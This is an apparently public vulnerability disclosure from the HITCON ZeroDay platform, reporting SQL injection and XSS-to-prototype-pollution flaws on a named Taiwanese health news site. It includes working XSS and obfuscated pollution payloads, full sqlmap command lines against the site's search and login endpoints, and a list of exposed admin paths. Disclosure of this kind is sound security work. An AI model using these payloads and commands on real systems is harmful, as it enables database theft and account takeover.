Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00635
- Vendor: 健康醫療網
- Title: 健康醫療網 網站存在 SQL injection 與 XSS to 原型汙染
- Introduction: 網站存在 SQL injection 與 XSS to 原型汙染
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/08/07 19:13:48 : 新提交 (由 BTtea 更新此狀態)
- 2022/08/07 19:15:31 : 新提交 (由 BTtea 更新此狀態)
- 2022/08/07 19:16:47 : 新提交 (由 BTtea 更新此狀態)
- 2022/08/08 00:46:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/08 17:10:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/08 17:10:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/08 17:10:42 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/10/07 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00635
- 通報者:blacktea_player (BTtea)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
https://www.healthnews.com.tw/auth/user_auth
敘述
使用工具 SQLmap 輔助測試 (以下若使用SQLmap工具進行注入時有中斷問題,請去除 --batch 參數後進行注入,遇到詢問連線異常是否繼續測試的訊息請選擇 y )
原型汙染成因為 jquery 版本過低所導致
https://www.healthnews.com.tw/search/?keyword=123
GET 參數 keyword 存在 XSS to 原型汙染 與 SQL injection
xss payload : <img src=1 onerror=alert(document.cookie)>
xss to 原型汙染 payload : <img src=1 onerror=$.extend(true,{},JSON.parse(eval(String.fromCharCode(39,123,34,95,95,112,114,111,116,111,95,95,34,58,123,34,122,34,58,49,50,51,125,125,39))));alert(z)>
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://www.healthnews.com.tw/search/?keyword=123" --batch --dbs --tamper space2mssqlhash
https://www.healthnews.com.tw/search/?autoplay=0&mute=1&showinfo=0&controls=0&rel=0
這裡會暴露 database error
https://www.healthnews.com.tw/login POST data => https://www.healthnews.com.tw/auth/user_auth
https://www.healthnews.com.tw/auth/user_auth
post : account=admin&password=123456
POST 參數 account 存在 SQL injection
SQLmap 工具測試參數 : python3 sqlmap.py --random-agent -u "https://www.healthnews.com.tw/auth/user_auth" --data "account=admin&password=123456" --batch --dbs -p account --tamper space2mssqlhash
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
https://www.healthnews.com.tw/login (後台登入)
https://www.healthnews.com.tw/BingSiteAuth.xml
https://www.healthnews.com.tw/_admin/login.php
https://www.healthnews.com.tw/admin
https://www.healthnews.com.tw/adv.php
https://www.healthnews.com.tw/bigdump.php
https://www.healthnews.com.tw/check.php
https://www.healthnews.com.tw/ckfinder/ckfinder.html
https://www.healthnews.com.tw/contactus.php
https://www.healthnews.com.tw/count.php
https://www.healthnews.com.tw/index.php/login/ (後台登入)
https://www.healthnews.com.tw/index2.php
https://www.healthnews.com.tw/mail.php
https://www.healthnews.com.tw/mailman/listinfo
https://www.healthnews.com.tw/manage (後台登入)
https://www.healthnews.com.tw/manager/
https://www.healthnews.com.tw/sitemap.xml.gz (255B)
修補建議
更新 jquery 至最新版本